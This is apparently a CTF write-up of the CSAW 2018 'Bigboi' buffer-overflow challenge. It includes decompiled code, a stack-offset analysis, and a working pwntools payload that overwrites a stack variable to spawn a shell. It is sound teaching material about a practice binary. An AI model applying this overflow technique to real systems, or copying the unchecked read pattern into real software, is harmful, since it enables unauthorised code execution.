Csaw Bigboi
CSAW 2018: Bigboi Writeup
Description: A writeup for the Bigboi pwn challenge from the CSAW 2018 CTF
Date: 2025-04-18 10:00:00 -0500
Category: Nightmare
Tags: Buffer-Overflow, Nightmare, CSAW
1. Overview
“Bigboi” is a straightforward buffer overflow challenge from the CSAW 2018 CTF and marks my first dive into the Nightmare series. The objective is to exploit a buffer overflow vulnerability in a 64-bit ELF binary to overwrite a stack variable, altering the program’s flow to spawn a shell.
2. Enumeration
2.1 Binary Analysis
I started by inspecting the binary with file
to gather basic info:
file ./boi
Output:
./boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
It’s a 64-bit ELF executable, dynamically linked, and not stripped—meaning function names and symbols are intact, which aids reverse engineering.
Next, I checked the binary’s security features using checksec
:
checksec --file=boi --format=json --extended | jq .
Output:
{
"boi": {
"relro": "partial",
"canary": "yes",
"nx": "yes",
"pie": "no",
"clangcfi": "no",
"safestack": "no",
"rpath": "no",
"runpath": "no",
"symbols": "yes",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "1"
}
}
Key protections:
- Partial RELRO: The GOT is partially writable, but irrelevant here.
- Canary: A stack canary guards against return address overwrites—something to watch out for.
- NX: The stack is non-executable, ruling out stack-based shellcode.
- No PIE: Fixed base addresses simplify offset calculations.
Running the program gave a first look at its behavior:
./boi
Output:
Are you a big boiiiii??
o_o
Fri Apr 18 08:12:13 PM BST 2025
It prompts for input and outputs the date/time, suggesting it calls /bin/date
.
2.2 Decompilation
To understand the internals, I loaded the binary into Ghidra and decompiled the main
function. After renaming variables for clarity, here’s the decompiled code:
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 buffer;
undefined8 local_30;
undefined4 uStack_28;
int target;
undefined4 local_20;
long canary;
canary = *(long *)(in_FS_OFFSET + 40);
buffer = 0;
local_30 = 0;
local_20 = 0;
uStack_28 = 0;
target = 0xdeadbeef;
puts("Are you a big boiiiii??");
read(0,&buffer,24);
if (target == 0xcaf3baee) {
run_cmd("/bin/bash");
}
else {
run_cmd("/bin/date");
}
if (canary != *(long *)(in_FS_OFFSET + 40)) {
__stack_chk_fail();
}
return 0;
}
Key observations:
- Variables: A stack canary is set, followed by local variables, including an 8-byte
buffer
and a 4-bytetarget
initialized to0xdeadbeef
. - Input:
read(0, &buffer, 24)
reads 24 bytes into the 8-bytebuffer
, causing an overflow. - Logic: If
target
equals0xcaf3baee
, it runs/bin/bash
(shell!); otherwise, it runs/bin/date
. - Canary Check: The canary is verified to detect stack corruption.
The vulnerability is a buffer overflow: 24 bytes into an 8-byte buffer lets us overwrite adjacent stack data, including target
. The stack layout (approximate, based on assembly offsets) is:
rbp-0x30
:buffer
(8 bytes)rbp-0x28
:local_30
(8 bytes)rbp-0x20
:uStack_28
(4 bytes, with padding)rbp-0x1c
:target
(4 bytes)rbp-0x18
:local_20
(4 bytes)rbp-0x8
:canary
(8 bytes)
The read
writes from rbp-0x30
to rbp-0x18
(24 bytes), covering target
at rbp-0x1c
(20 bytes from buffer
’s start) but stopping before the canary.
3. Manual Exploitation
To exploit this, I needed to overwrite target
with 0xcaf3baee
without touching the canary. The offset from buffer
(rbp-0x30
) to target
(rbp-0x1c
) is 20 bytes, and target
is 4 bytes.
I crafted a payload:
python3 -c 'import pwn;print(b"A"*20 + pwn.p32(0xcaf3baee))' > payload
- 20 bytes of
A
: Fillsbuffer
andlocal_30
, reachingtarget
. p32(0xcaf3baee)
: Packs0xcaf3baee
in little-endian (\xee\xba\xf3\xca
).
In GDB, I verified this:
gdb ./boi
Disassembled main
and set a breakpoint at the target
comparison:
pwndbg> disassemble main
...
0x00000000004006a5 <+100>: mov eax,DWORD PTR [rbp-0x1c]
0x00000000004006a8 <+103>: cmp eax,0xcaf3baee
...
pwndbg> b *(main+103)
Breakpoint 1 at 0x4006a8
Ran it with the payload:
pwndbg> r < payload
At the breakpoint, eax
held 0xcaf3baee
, confirming target
was overwritten. Continuing execution called /bin/bash
, granting a shell.
4. Automating Exploitation
For a hands-off solution, I wrote a Python script using pwntools:
#!/usr/bin/python3
from pwn import *
context.log_level = 'ERROR'
context.binary = elf = ELF("./boi", checksec=False)
p = process()
payload = b"A"*20 + p32(0xcaf3baee)
p.sendline(payload)
p.interactive()
Running this spawned a shell reliably:
5. Conclusion
“Bigboi” is a beginner-friendly buffer overflow challenge. The key was identifying the overflow (24 bytes into an 8-byte buffer), mapping the stack to find target
at a 20-byte offset, and crafting a payload to overwrite it with 0xcaf3baee
while preserving the canary. This granted a shell via /bin/bash
. It’s a great intro to stack-based exploitation, emphasizing careful offset calculation and payload construction.